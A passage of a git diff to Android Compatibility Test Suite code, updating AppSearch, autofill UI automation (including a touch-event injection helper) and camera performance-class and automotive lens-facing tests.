.setPropertyDocument( + "propDoc", + new GenericDocument.Builder<>( + "namespace", "id2", "schema1") + .setPropertyString("", "Bat", "Hawk") + .build())); + assertThat(e.getMessage()).isEqualTo("Property name cannot be blank."); + } + + @Test public void testNestedProperties_invalidPaths() { GenericDocument doc = new GenericDocument.Builder<>("namespace", "id1", "schema1") @@ -592,25 +616,28 @@ public class GenericDocumentCtsTest { .build()) .build(); - // Some paths are invalid because they don't apply to the given document --- these should + // These paths are invalid because they don't apply to the given document --- these should // return null. It's not the querier's fault. assertThat(doc.getPropertyStringArray("propString.propInts")).isNull(); assertThat(doc.getPropertyStringArray("propDocs.propFoo")).isNull(); assertThat(doc.getPropertyStringArray("propDocs.propNestedString.propFoo")).isNull(); + } - // Some paths are invalid because they are malformed. These throw an exception --- the - // querier shouldn't provide such paths. - assertThrows( - IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0")); - assertThrows( - IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[0.]")); - assertThrows( - IllegalArgumentException.class, - () -> doc.getPropertyStringArray("propString[banana]")); - assertThrows( - IllegalArgumentException.class, () -> doc.getPropertyStringArray("propString[-1]")); - assertThrows( - IllegalArgumentException.class, () -> doc.getPropertyStringArray("propDocs[0]cat")); + @Test + public void testNestedProperties_arrayTypesInvalidPath() { + GenericDocument doc = new GenericDocument.Builder<>("namespace", "id1", "schema1").build(); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyString(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDocument(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBoolean(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDouble(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyLong(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBytes(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyStringArray(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDocumentArray(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBooleanArray(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyDoubleArray(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyLongArray(".")); + assertThrows(IllegalArgumentException.class, () -> doc.getPropertyBytesArray(".")); } @Test diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java index 71822ca59dd..47337cac18e 100644 --- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java +++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GlobalSearchSessionCtsTestBase.java @@ -1641,6 +1641,11 @@ public abstract class GlobalSearchSessionCtsTestBase { @Test public void testAddObserver_schemaChange_added() throws Exception { + assumeTrue( + mDb1.getFeatures() + .isFeatureSupported( + Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK)); + // Register an observer TestObserverCallback observer = new TestObserverCallback(); mGlobalSearchSession.registerObserverCallback( @@ -1688,6 +1693,11 @@ public abstract class GlobalSearchSessionCtsTestBase { @Test public void testAddObserver_schemaChange_removed() throws Exception { + assumeTrue( + mDb1.getFeatures() + .isFeatureSupported( + Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK)); + // Add a schema type mDb1.setSchemaAsync( new SetSchemaRequest.Builder() @@ -1723,6 +1733,11 @@ public abstract class GlobalSearchSessionCtsTestBase { @Test public void testAddObserver_schemaChange_contents() throws Exception { + assumeTrue( + mDb1.getFeatures() + .isFeatureSupported( + Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK)); + // Add a schema mDb1.setSchemaAsync( new SetSchemaRequest.Builder() @@ -1794,6 +1809,11 @@ public abstract class GlobalSearchSessionCtsTestBase { @Test public void testAddObserver_schemaChange_contents_skipBySpec() throws Exception { + assumeTrue( + mDb1.getFeatures() + .isFeatureSupported( + Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK)); + // Add a schema mDb1.setSchemaAsync( new SetSchemaRequest.Builder() @@ -1862,6 +1882,11 @@ public abstract class GlobalSearchSessionCtsTestBase { @Test public void testRegisterObserver_schemaMigration() throws Exception { + assumeTrue( + mDb1.getFeatures() + .isFeatureSupported( + Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK)); + // Add a schema with two types mDb1.setSchemaAsync( new SetSchemaRequest.Builder() diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java index a6251f5b254..70d7a083b44 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java @@ -66,12 +66,12 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); // Waits a while mUiBot.waitForIdleSync(); // Click on password field again - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); // Waits a while mUiBot.waitForIdleSync(); @@ -104,7 +104,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); mUiBot.assertFillDialogDatasets("Dialog Presentation"); @@ -114,7 +114,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdle(); // Click on password field again - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify IME is shown @@ -149,7 +149,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify IME is not shown @@ -202,7 +202,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); mUiBot.assertFillDialogDatasets("Dialog Presentation"); @@ -219,7 +219,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau // Click on the username field to trigger autofill. Although the username field supports // a fill dialog, the fill dialog only shown once, so shows the dropdown UI. - mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME); + mUiBot.selectByRelativeId(ID_USERNAME); mUiBot.waitForIdleSync(); mUiBot.assertNoFillDialog(); @@ -270,7 +270,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify IME is not shown @@ -314,7 +314,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau sReplier.getNextFillRequest(); mUiBot.waitForIdleSync(); - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); mUiBot.assertFillDialogDatasets("Dialog presentation"); @@ -325,7 +325,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdle(); // Click on username field, and verify dropdown UI is shown - mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME); + mUiBot.selectByRelativeId(ID_USERNAME); mUiBot.waitForIdleSync(); mUiBot.assertDatasets("Dropdown Presentation"); @@ -365,7 +365,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on username field, and verify dropdown UI is shown. - mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME); + mUiBot.selectByRelativeId(ID_USERNAME); mUiBot.waitForIdleSync(); mUiBot.assertDatasets("Dropdown Presentation"); @@ -417,7 +417,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog, then select - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); activity.expectAutoFill("dude", "sweet"); mUiBot.selectFillDialogDataset("Dialog Presentation"); @@ -462,7 +462,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau sReplier.addResponse(builder.build()); // Click on username field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME); + mUiBot.selectByRelativeId(ID_USERNAME); mUiBot.waitForIdleSync(); // Check onFillRequest is called now, and the fill dialog is not shown @@ -538,7 +538,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau assertHasFlags(fillRequest.flags, FLAG_SUPPORTS_FILL_DIALOG); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME); + mUiBot.selectByRelativeId(ID_USERNAME); mUiBot.waitForIdleSync(); // Verify IME is not shown @@ -576,7 +576,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify IME is not shown @@ -622,7 +622,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify the fill dialog shown @@ -669,7 +669,7 @@ public class LoginActivityTest extends AutoFillServiceTestCase.ManualActivityLau mUiBot.waitForIdleSync(); // Click on password field to trigger fill dialog - mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD); + mUiBot.selectByRelativeId(ID_PASSWORD); mUiBot.waitForIdleSync(); // Verify the fill dialog shown diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java index 5eb72f4fad8..8c8e73267f4 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java @@ -83,7 +83,7 @@ public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityL * Launches and finishes {@link SimpleSaveActivity}, returning how long it took. */ private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception { - Log.v(TAG, "launchPreSimpleSaveActivity(): " + action); + Log.v(TAG, "launchSimpleSaveActivity(): " + action); sReplier.assertNoUnhandledFillRequests(); if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) { @@ -175,7 +175,7 @@ public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityL // Asserts isEnabled() status. assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL); } finally { - activity.finish(); + mUiBot.waitForWindowChange(() -> activity.finish()); } return SystemClock.elapsedRealtime() - before; } diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java index 73639c08eaa..50ef382cf5e 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java @@ -52,6 +52,7 @@ import android.os.SystemClock; import android.service.autofill.SaveInfo; import android.support.test.uiautomator.By; import android.support.test.uiautomator.BySelector; +import android.support.test.uiautomator.Configurator; import android.support.test.uiautomator.Direction; import android.support.test.uiautomator.SearchCondition; import android.support.test.uiautomator.StaleObjectException; @@ -65,6 +66,8 @@ import android.text.Html; import android.text.Spanned; import android.text.style.URLSpan; import android.util.Log; +import android.view.InputDevice; +import android.view.MotionEvent; import android.view.View; import android.view.WindowInsets; import android.view.accessibility.AccessibilityEvent; @@ -1277,20 +1280,6 @@ public class UiBot { } /** - * Selects a view by id via UiDevice. - * - * Note: This used to avoid IME issue that some case IME will be not shown via - * UiObject2.click(). - */ - public UiObject2 selectByRelativeIdFromUiDevice(String id) throws Exception { - Log.v(TAG, "selectByRelativeIdFromDevice(): " + id); - final UiObject2 object = waitForObject(By.res(mPackageName, id)); - final Point p = object.getVisibleCenter(); - mDevice.click(p.x, p.y); - return object; - } - - /** * Asserts the header in the fill dialog. */ public void assertFillDialogHeader(String expectedHeader) throws Exception { @@ -1374,7 +1363,7 @@ public class UiBot { public void touchOutsideDialog() throws Exception { Log.v(TAG, "touchOutsideDialog()"); final UiObject2 picker = findFillDialogPicker(); - mDevice.click(1, picker.getVisibleBounds().top / 2); + assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue(); } /** @@ -1383,7 +1372,7 @@ public class UiBot { public void touchOutsideSaveDialog() throws Exception { Log.v(TAG, "touchOutsideSaveDialog()"); final UiObject2 picker = waitForObject(SAVE_UI_SELECTOR, SAVE_TIMEOUT); - mDevice.click(1, picker.getVisibleBounds().top / 2); + assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue(); } /** @@ -1415,4 +1404,44 @@ public class UiBot { public void assertNoFillDialog() throws Exception { assertNeverShown("Fill dialog", FILL_DIALOG_SELECTOR, DATASET_PICKER_NOT_SHOWN_NAPTIME_MS); } + + /** + * Injects a click input event at the given point in the default display. + * We have this method because {@link UiObject2#click) cannot touch outside the object, and + * {@link UiDevice#click} is broken in multi windowing mode (b/238254060). + */ + private boolean injectClick(Point p) { + final long downTime = SystemClock.uptimeMillis(); + final MotionEvent downEvent = getMotionEvent(downTime, downTime, MotionEvent.ACTION_DOWN, + p); + if (!mAutoman.injectInputEvent(downEvent, true)) { + Log.e(TAG, "Failed to inject down event."); + return false; + } + + try { + Thread.sleep(100); + } catch (InterruptedException e) { + Log.e(TAG, "Interrupted while sleep between click", e); + } + + final MotionEvent upEvent = getMotionEvent(downTime, SystemClock.uptimeMillis(), + MotionEvent.ACTION_UP, p); + return mAutoman.injectInputEvent(upEvent, true); + } + + private static MotionEvent getMotionEvent(long downTime, long eventTime, int action, Point p) { + final MotionEvent.PointerProperties properties = new MotionEvent.PointerProperties(); + properties.id = 0; + properties.toolType = Configurator.getInstance().getToolType(); + final MotionEvent.PointerCoords coords = new MotionEvent.PointerCoords(); + coords.pressure = 1.0F; + coords.size = 1.0F; + coords.x = p.x; + coords.y = p.y; + return MotionEvent.obtain(downTime, eventTime, action, 1, + new MotionEvent.PointerProperties[]{properties}, + new MotionEvent.PointerCoords[]{coords}, 0, 0, 1.0F, 1.0F, 0, 0, + InputDevice.SOURCE_TOUCHSCREEN, 0); + } } diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp index aae58c689b7..c2334fc3b4c 100644 --- a/tests/camera/Android.bp +++ b/tests/camera/Android.bp @@ -65,6 +65,7 @@ android_test { "truth-prebuilt", "androidx.heifwriter_heifwriter", "androidx.test.rules", + "MediaPerformanceClassCommon", ], jni_libs: [ "libctscamera2_jni", diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java index feb5567963f..772e7a599cb 100644 --- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java +++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java @@ -36,6 +36,7 @@ import android.hardware.camera2.params.SessionConfiguration; import android.hardware.camera2.TotalCaptureResult; import android.media.Image; import android.media.ImageReader; +import android.os.Build; import android.os.Handler; import android.os.HandlerThread; import android.test.AndroidTestCase; @@ -210,8 +211,9 @@ public class SPerfClassTest extends AndroidTestCase { * Version.MEDIA_PERFORMANCE_CLASS */ public void testSPerfClassJpegSizes() throws Exception { - boolean isSPerfClass = CameraTestUtils.isSPerfClass(); - if (!isSPerfClass) { + final boolean isAtLeastSPerfClass = + (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= Build.VERSION_CODES.S); + if (!isAtLeastSPerfClass) { return; } diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java index f6b7830cf69..21bdc839bf1 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java @@ -27,7 +27,6 @@ import android.content.pm.PackageManager; import android.hardware.camera2.CameraAccessException; import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraDevice.StateCallback; import android.hardware.camera2.CameraManager; import android.hardware.camera2.cts.Camera2ParameterizedTestCase; import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor; @@ -163,6 +162,15 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { ids.length == 0 || mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY)); + if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { + // Camera placement on automotive device is different than usual front/back + // on mobile phones and use automotive.lens.facing instead. lens.facing is only used for + // external camera.testCameraManagerAutomotiveCameras ensures that lens.facing is only + // used for EXTERNAL camera. Hence, skipping this test for automotive implementations + Log.i(TAG, "Skip rest of the test on automotive device implementations"); + return; + } + /** * Test: that if the device has front or rear facing cameras, then there * must be matched system features. @@ -989,15 +997,23 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { * android.automotive.lens.facing values */ Map<Pair<Integer, Integer>, ArrayList<String>> cameraGroup = new HashMap<>(); + boolean externalCameraConnected = false; for (String cameraId : cameraIds) { CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId); assertNotNull( String.format("Can't get camera characteristics from: ID %s", cameraId), props); Integer lensFacing = props.get(CameraCharacteristics.LENS_FACING); - if (lensFacing != null && lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL) { - // Automotive device implementations may have external cameras but they are exempted - // from this test case. + + if (lensFacing != null) { + // Automotive device implementations can use android.lens.facing + // only for external cameras + assertTrue("android.lens.facing should only be used for external cameras", + lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL); + // Test that there is matching feature flag + assertTrue("System doesn't have external camera feature", + mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)); + externalCameraConnected = true; continue; } @@ -1028,6 +1044,13 @@ public class CameraManagerTest extends Camera2ParameterizedTestCase { } } + // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised + if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) { + assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL", + externalCameraConnected); + } + + for (Map.Entry<Pair<Integer, Integer>, ArrayList<String>> entry : cameraGroup.entrySet()) { ArrayList<String> cameraIdsToVerify = entry.getValue(); if (cameraIdsToVerify.size() > 1) { diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java index f80c36b843e..c9d03141af0 100644 --- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java @@ -55,6 +55,10 @@ import android.hardware.camera2.params.DynamicRangeProfiles; import android.hardware.camera2.params.RecommendedStreamConfigurationMap; import android.hardware.camera2.params.StreamConfigurationMap; import android.hardware.cts.helpers.CameraUtils; +import android.mediapc.cts.common.Requirement; +import android.mediapc.cts.common.RequiredMeasurement; +import android.mediapc.cts.common.RequirementConstants; +import android.mediapc.cts.common.PerformanceClassEvaluator; import android.media.CamcorderProfile; import android.media.ImageReader; import android.os.Build; @@ -74,15 +78,11 @@ import android.view.WindowMetrics; import androidx.test.rule.ActivityTestRule; -import androidx.test.InstrumentationRegistry; - import com.android.compatibility.common.util.CddTest; -import com.android.compatibility.common.util.DeviceReportLog; -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; import org.junit.Rule; import org.junit.Test; +import org.junit.rules.TestName; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; @@ -92,12 +92,10 @@ import java.util.HashSet; import java.util.List; import java.util.Objects; import java.util.Set; +import java.util.function.BiPredicate; import java.util.regex.Matcher; import java.util.regex.Pattern; -import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME; -import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME; - /** * Extended tests for static camera characteristics. */ @@ -113,6 +111,9 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { */ private static final int MIN_ALLOWABLE_WHITELEVEL = 32; // must have sensor bit depth > 5 + @Rule + public final TestName mTestName = new TestName(); + private List<CameraCharacteristics> mCharacteristics; private static final Size FULLHD = new Size(1920, 1080); @@ -131,10 +132,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { private static final long PREVIEW_RUN_MS = 500; private static final long FRAME_DURATION_30FPS_NSEC = (long) 1e9 / 30; - private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000; - private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000; - private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000; - private static final long MIN_UHR_SENSOR_RESOLUTION = 24000000; /* * HW Levels short hand @@ -2352,6 +2349,17 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { // Sanitize the high speed FPS ranges for each size List<Range<Integer>> ranges = Arrays.asList(config.getHighSpeedVideoFpsRangesFor(size)); + int previewFps = Integer.MAX_VALUE; + for (Range<Integer> range : ranges) { + int rangeMin = range.getLower(); + if (previewFps > rangeMin) { + previewFps = rangeMin; + } + } + Log.v(TAG, "Advertised preview fps is: " + previewFps); + // We only support preview of 30fps or 60fps. + assertTrue("Preview fps " + previewFps + " is not valid.", + (previewFps == 30 || previewFps == 60)); for (Range<Integer> range : ranges) { assertTrue("The range " + range + " doesn't satisfy the" + " min/max boundary requirements.", @@ -2360,10 +2368,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { assertTrue("The range " + range + " should be multiple of 30fps", range.getLower() % 30 == 0 && range.getUpper() % 30 == 0); // If the range is fixed high speed range, it should contain the - // [30, fps_max] in the high speed range list; if it's variable FPS range, - // the corresponding fixed FPS Range must be included in the range list. + // [previewFps, fps_max] in the high speed range list; if it's variable FPS + // range, the corresponding fixed FPS Range must be included in the range + // list. if (range.getLower() == range.getUpper()) { - Range<Integer> variableRange = new Range<Integer>(30, range.getUpper()); + Range<Integer> variableRange = new Range<Integer>(previewFps, + range.getUpper()); assertTrue("The variable FPS range " + variableRange + " shoould be included in the high speed ranges for size " + size, ranges.contains(variableRange)); @@ -2844,28 +2854,70 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { } /** - * Update performance class level based on condition - * - * @param condition whether the condition is met for passLevel - * @param passLevel the highest performance class level when condition is true - * @param failLevel the performance class when condition is false + * Camera hardware level requirement for Media Performance Class */ - private int updatePerfClassLevel(boolean condition, int passLevel, int failLevel) { - return condition ? passLevel : failLevel; - } + public static class PrimaryCameraHwLevelReq extends Requirement { + private static final String TAG = PrimaryCameraHwLevelReq.class.getSimpleName(); + + /** + * Creates a >= predicate for camera hardware level + */ + private static BiPredicate<Integer, Integer> camHwLevelGte() { + return new BiPredicate<Integer, Integer>() { + @Override + public boolean test(Integer actual, Integer expected) { + return StaticMetadata.hardwareLevelPredicate(actual, expected); + } - /** - * Update perf class level based on meetSPerfClass and meetRPerfClass. - */ - private int updatePerfClassLevelRS(boolean meetSPerfClass, boolean meetRPerfClass, - int perfClassLevel) { - if (!meetRPerfClass) { - return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; - } else if (!meetSPerfClass && - perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) { - return Math.min(CameraTestUtils.PERFORMANCE_CLASS_R, perfClassLevel); - } - return perfClassLevel; + @Override + public String toString() { + return "Camera Hardware Level Greater than or equal to"; + } + }; + } + private static final BiPredicate<Integer, Integer> CAM_HW_LEVEL_GTE = camHwLevelGte(); + private PrimaryCameraHwLevelReq(String id, RequiredMeasurement<?> ... reqs) { + super(id, reqs); + } + + public void setPrimaryRearCameraHwlLevel(Integer hwLevel) { + this.setMeasuredValue(RequirementConstants.REAR_CAMERA_HWL_LEVEL, hwLevel); + } + + public void setPrimaryFrontCameraHwlLevel(Integer hwLevel) { + this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_HWL_LEVEL, hwLevel); + } + + /** + * [2.2.7.2/7.5/H-1-3] MUST support android.info.supportedHardwareLevel property as FULL or + * better for back primary and LIMITED or better for front primary camera. + */ + public static PrimaryCameraHwLevelReq createPrimaryCameraHwLevelReq() { + RequiredMeasurement<Integer> rearCameraHwlLevel = RequiredMeasurement + .<Integer>builder() + .setId(RequirementConstants.REAR_CAMERA_HWL_LEVEL) + .setPredicate(CAM_HW_LEVEL_GTE) + .addRequiredValue(Build.VERSION_CODES.R, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL) + .addRequiredValue(Build.VERSION_CODES.S, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL) + .build(); + RequiredMeasurement<Integer> frontCameraHwlLevel = RequiredMeasurement + .<Integer>builder() + .setId(RequirementConstants.FRONT_CAMERA_HWL_LEVEL) + .setPredicate(CAM_HW_LEVEL_GTE) + .addRequiredValue(Build.VERSION_CODES.R, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED) + .addRequiredValue(Build.VERSION_CODES.S, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL) + .addRequiredValue(Build.VERSION_CODES.TIRAMISU, + CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL) + .build(); + return new PrimaryCameraHwLevelReq(RequirementConstants.R7_5__H_1_3, + rearCameraHwlLevel, frontCameraHwlLevel); + } } /** @@ -2873,34 +2925,47 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { * in CDD camera section 7.5 */ @Test - @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14") + @CddTest(requirements = { + "2.2.7.2/7.5/H-1-1", + "2.2.7.2/7.5/H-1-2", + "2.2.7.2/7.5/H-1-3", + "2.2.7.2/7.5/H-1-4", + "2.2.7.2/7.5/H-1-8", + "2.2.7.2/7.5/H-1-9", + "2.2.7.2/7.5/H-1-10", + "2.2.7.2/7.5/H-1-11", + "2.2.7.2/7.5/H-1-12", + "2.2.7.2/7.5/H-1-13", + "2.2.7.2/7.5/H-1-14"}) public void testCameraPerfClassCharacteristics() throws Exception { if (mAdoptShellPerm) { // Skip test for system camera. Performance class is only applicable for public camera // ids. return; } - boolean assertRPerfClass = CameraTestUtils.isRPerfClass(); - boolean assertSPerfClass = CameraTestUtils.isSPerfClass(); - boolean assertTPerfClass = CameraTestUtils.isTPerfClass(); - boolean assertPerfClass = (assertRPerfClass || assertSPerfClass || assertTPerfClass); - - // R & S Performance Class - int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - - // T Performance Class - int perfClassLevelH19 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH110 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH111 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; - - DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME); + PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName); + PerformanceClassEvaluator.PrimaryCameraRequirement primaryRearReq = + pce.addPrimaryRearCameraReq(); + PerformanceClassEvaluator.PrimaryCameraRequirement primaryFrontReq = + pce.addPrimaryFrontCameraReq(); + PrimaryCameraHwLevelReq hwLevelReq = pce.addRequirement( + PrimaryCameraHwLevelReq.createPrimaryCameraHwLevelReq()); + PerformanceClassEvaluator.CameraTimestampSourceRequirement 